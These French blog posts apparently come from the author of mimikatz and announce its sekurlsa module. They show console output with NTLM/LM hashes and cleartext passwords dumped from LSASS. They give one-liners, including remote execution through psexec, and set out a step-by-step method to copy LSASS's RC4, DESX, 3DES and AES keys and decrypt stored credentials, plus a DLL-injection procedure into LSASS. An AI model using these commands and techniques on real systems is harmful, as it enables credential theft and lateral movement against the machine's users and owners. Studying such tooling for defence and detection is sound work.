mimikatz :: sekurlsa fait son apparition

homer_woohoole module local sekurlsa vient d’être incorporé à mimikatz !

La première version de sekurlsa (@) fonctionne par injection de la librairie susnommée, la deuxième (::) est un module local de mimikatz fonctionnant par lecture uniquement !

Après le dernier post sur l’injection de la librairie sekurlsa, puis celui sur la lecture des clés de déchiffrement depuis LSASS, il était temps de créer un nouveau module local : mimikatz :: sekurlsa

Nouvelle version !

Le nouveau mimikatz, en RC pour l’occasion, inclus donc ce nouveau module !
La version prenant en charge ce module est disponible : http://blog.gentilkiwi.com/mimikatz

sekurlsa_local

Il nécessite tout de même, sous NT6, le privilège debug pour lire des données du processus système LSASS :

mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Aug  2 2012 01:32:28) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;234870
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : vm-w8-rp-x
        msv1_0 :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Hash LM      : d0e9aee149655a6075e4540af1f22d3b
         * Hash NTLM    : cc36cf7a8514893efccd332446158b1a
        kerberos :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Mot de passe : waza1234/
        wdigest :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Mot de passe : waza1234/
        tspkg :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Mot de passe : waza1234/
        livessp :       n.t. (LUID KO)

L’aide de ce module sera bientôt disponible : http://blog.gentilkiwi.com/mimikatz/sekurlsa.
L’aide de la librairie a été déplacée : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa.

Ligne de commande

Au passage, mimikatz peut maintenant prendre en compte ses commandes directement depuis ses arguments.
Quelques exemples sympas :

  • mimikatz privilege::debug "sekurlsa::logonPasswords full" exit
  • psexec \\windows-c -s -c c:\security\mimikatz\Win32\mimikatz.exe "sekurlsa::logonPasswords full" exit
  • mimikatz crypto::patchcapi crypto::exportCertificates exit
  • mimikatz nogpo::regedit exit

mimikatz :: sekurlsa – récupération des clés depuis LSASS

Je l’avais pourtant suggéré lors de mon passage aux PHDays 2012 ; pour dumper les hashes et mot de passe, il suffirait d’aller lire les clés de (dé)chiffrement de LSASS pour éviter d’y injecter la librairie sekurlsa.

sekurlsa_idea
Personne ne l’a fait :(

même pas wce qui, en plus de copier certains patterns / concepts de mimikatz, injecte sournoisement la librairie wceaux.dll pour dumper les mots de passes via WDigest, parfois à l’aide d’un service…

Approche

Le déchiffrement des mots de passe est effectué directement par :
LsaUnprotectMemoryhttp://msdn.microsoft.com/library/windows/desktop/ff714510.aspx

Le chiffrement des mots de passe est quant à lui effectué par :
LsaProtectMemoryhttp://msdn.microsoft.com/library/windows/desktop/ff714509.aspx

Ces deux fonctions reposent sur : LsaEncryptMemory


Windows NT 5

  • Algorithme : RC4
    Clé : dérivée depuis g_pRandomKey, de longueur g_cbRandomKey (256)
  • Algorithme : DES
    Clé : g_pDESXKey, de longueur 144
    IV : g_Feedback, de longueur 8

Méthodologie

  1. Charger lsasrv.dll dans mimikatz
  2. Copier les 8 octets de LSASS:lsasrv!g_Feedback vers mimikatz:lsasrv!g_Feedback
  3. Copier les 4 octets (DWORD) de LSASS:lsasrv!g_cbRandomKey vers mimikatz:lsasrv!g_cbRandomKey
  4. Instancier un nouveau tableau de taille mimikatz:lsasrv!g_cbRandomKey octets
  5. Placer l’adresse de ce tableau dans mimikatz:lsasrv!g_pRandomKey
  6. Copier les mimikatz:lsasrv!g_cbRandomKey octets ciblés par LSASS:lsasrv!g_pRandomKey vers le tableau ciblé par mimikatz:lsasrv!g_pRandomKey
  7. Instancier un nouveau tableau de taille 144 octets
  8. Placer l’adresse de ce tableau dans mimikatz:lsasrv!g_pDESXKey
  9. Copier les 144 octets ciblés par LSASS:lsasrv!g_pDESXKey vers le tableau ciblé par mimikatz:lsasrv!g_pDESXKey

Windows NT 6

  • Algorithme : 3DES
    Clé : référencée par le handle h3DesKey
    IV : InitializationVector, de longueur 8 (sur 16)
  • Algorithme : AES
    Clé : référencée par le handle hAesKey
    IV : InitializationVector, de longueur 16

Méthodologie

  1. Charger lsasrv.dll dans mimikatz
  2. Copier les 16 octets de LSASS:lsasrv!InitializationVector vers mimikatz:lsasrv!InitializationVector
  3. Appeler la fonction mimikatz:lsasrv!LsaInitializeProtectedMemory pour initialiser correctement les handles de clés h3DesKey et hAesKey
    Ces handles pointent vers des structures de ce types :

    typedef struct _KIWI_BCRYPT_KEY {
    	DWORD size;
    	DWORD type;
    	PVOID unk0;
    	PKIWI_BCRYPT_KEY_DATA cle;
    	PVOID unk1;
    } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;

    avec

    typedef struct _KIWI_BCRYPT_KEY_DATA {
    	DWORD size;
    	DWORD tag;
    	DWORD type;
    	DWORD unk0;
    	DWORD unk1;
    	DWORD unk2;
    	DWORD unk3;
    	PVOID unk4;
    	BYTE data; /* etc... */
    } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA;
  4. Copier les LSASS:lsasrv!h3DesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA.size octets de LSASS:lsasrv!h3DesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA vers mimikatz:lsasrv!h3DesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA
  5. Copier les (LSASS:lsasrv!hAesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA.size - 2*sizeof(PVOID)) octets* de LSASS:lsasrv!hAesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA vers mimikatz:lsasrv!hAesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA

*il y a deux pointeurs internes à la fin de la structure AES, l’initialisation de départ fait qu’ils sont déjà corrects :)


Une fois ces opérations réalisées, la fonction LsaEncryptMemory fonctionne correctement ! Nous permettant ainsi de bénéficier du même déchiffrement que LSASS dans mimikatz

mimikatz et sekurlsa sans injection ?

soon

mimikatz @ sekurlsa – une librairie à injecter

La librairie sekurlsa permet, entre autre, de dumper des données de sécurité du processus LSASS (Local Security Authority Subsystem Service).
Très efficace, cela n’en reste pas moins un frein pour certain car elle doit être injectée dans le processus LSASS.

sekurlsa_extract

L’injection

  1. Ouverture du processus cible en écriture, avec possibilité de créer des threads
    • OpenProcess
  2. Allocation de mémoire, dans le processus cible, pour la routine de chargement
    • VirtualAllocEx
  3. Écriture, dans la mémoire allouée, du nom de la librairie à charger
    • WriteProcessMemory
  4. Création d’un thread dans le processus distant, commençant sur l’instruction LoadLibrary, avec comme argument l’adresse de notre mémoire allouée.
    • CreateRemoteThread, NtCreateThreadEx, ZwCreateThread, RtlCreateUserThread, NtQueueApcThread, …

    Ceci a pour effet de charger la librairie voulue dans le processus distant, et d’effectuer :

    • Un appel à la routine DllMain
    • Fortement conseillé : La création d’un thread avec le code nécessaire au fonctionnement de la libraire, se terminant par FreeLibraryAndExitThread
  5. Attente de la fin de l’opération de chargement (fin du thread initialement créé)
    • WaitForSingleObject
  6. Libération de la mémoire allouée
    • VirtualFreeEx

Avantages de cette méthode :

good_inject

  • S’exécute avec les droits du processus cible (pour LSASS : SYSTEM)
  • Bénéficie de toutes les données du processus cible de manière transparente
  • Les opérations effectuées dans le processus cible paraissent légitimes
  • Méthodes relativement bien connues et maitrisées

Inconvénients :

bad_inject

  • Écritures dans le processus cible
  • Modifications du contexte d’exécution du processus cible
  • Des opérations incorrectes dans la librairie peuvent entrainer un crash du processus cible
  • Les droits du processus cible peuvent être insuffisants pour accéder à des données externes (librairie sur un partage réseau par exemple)
  • Fonctionne difficilement en RDP sans proxy via un service (isolation de sessions)
  • Méthodes très connues par les antivirus et HIPS (une intrusion aussi affichée dans LSASS est quand même très louche !)

Alors pourquoi injecter ?

Beaucoup d’inconvénients…, pourquoi mimikatz doit-il donc injecter sekurlsa pour dumper les hashes et mots de passe ?

  • La facilité : toutes les structures utilisées contiennent des pointeurs et données qui ne sont valides que dans le processus LSASS, les utilisations de ces structures sont donc transparentes
  • La recherche d’éléments par LUID : les données utilisateurs sont placées dans des structures de type :
    • LIST_ENTRY ; nécessitant un parcours par pointeurs
    • RTL_AVL_TABLE ; nécessitant l’utilisation de RtlLookupElementGenericTableAvl
  • Le déchiffrement : les hashes et mots de passe ne sont pas en clair, ils sont déchiffrés par LsaUnprotectMemory, qui utilise des clés et méthodes du processus LSASS

Comment ne plus injecter ?

Il suffirait de résoudre les 3 points évoqués…

  • La difficulté : toutes données nécessaires seront lues du processus LSASS par ReadProcessMemory, donnant lieu à des proxys d’utilisation des structures UNICODE_STRING, KIWI_GENERIC_PRIMARY_CREDENTIAL, …
  • La recherche d’éléments par LUID : les données utilisateurs étant placées dans des structures de type :
    • LIST_ENTRY ; utilisera un proxy de parcours de listes, via ReadProcessMemory
    • RTL_AVL_TABLE ; utilisera un proxy de parcours d’arbres, via ReadProcessMemory
  • Le déchiffrement : il suffit d’aller récupérer les clés depuis LSASS pour les utiliser dans mimikatz

Récupération des clés

soon
Bientôt dans un post dédié…

mimikatz et les démineurs

demineurs

mimikatz sait, depuis (très) longtemps, afficher le champ de mines du démineur de Windows XP/2003, grâce au module de démonstration winmine

Le démineur de Vista/7 est totalement différent :

  • 5 Mo vs 120 Ko
  • 40 Mo en mémoire
  • C++ avec gestion objet
  • fleurs pour ne plus choquer les gens sensibles

Après m’être penché plus en avant vers les pointeurs de pointeurs de pointeurs…, un nouveau module de démonstration est né pour Vista/7 : minesweeper

Pour le démineur de XP/2003 :

winmine::infos

Pour le démineur de Vista/7 :

minesweeper::infos

winmine_minesweeper

Au passage, j’ai rajouté un petit module de triche pour le démineur de Windows XP/2003…

winmine::cheat

winmine_cheat

La version prenant en compte ces deux démineurs est disponible : http://blog.gentilkiwi.com/mimikatz

mimikatz @ TechEd Europe 2012

Paula Januszkiewicz a présenté quelques fonctionnalités de mimikatz lors de sa présentation « Ten Deadly Sins of Administrators about Windows Security » au TechEd Europe 2012 : http://channel9.msdn.com/Events/TechEd/Europe/2012/SIA300

Pass-the-pass


https://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa

Samdump


https://blog.gentilkiwi.com/mimikatz/samdump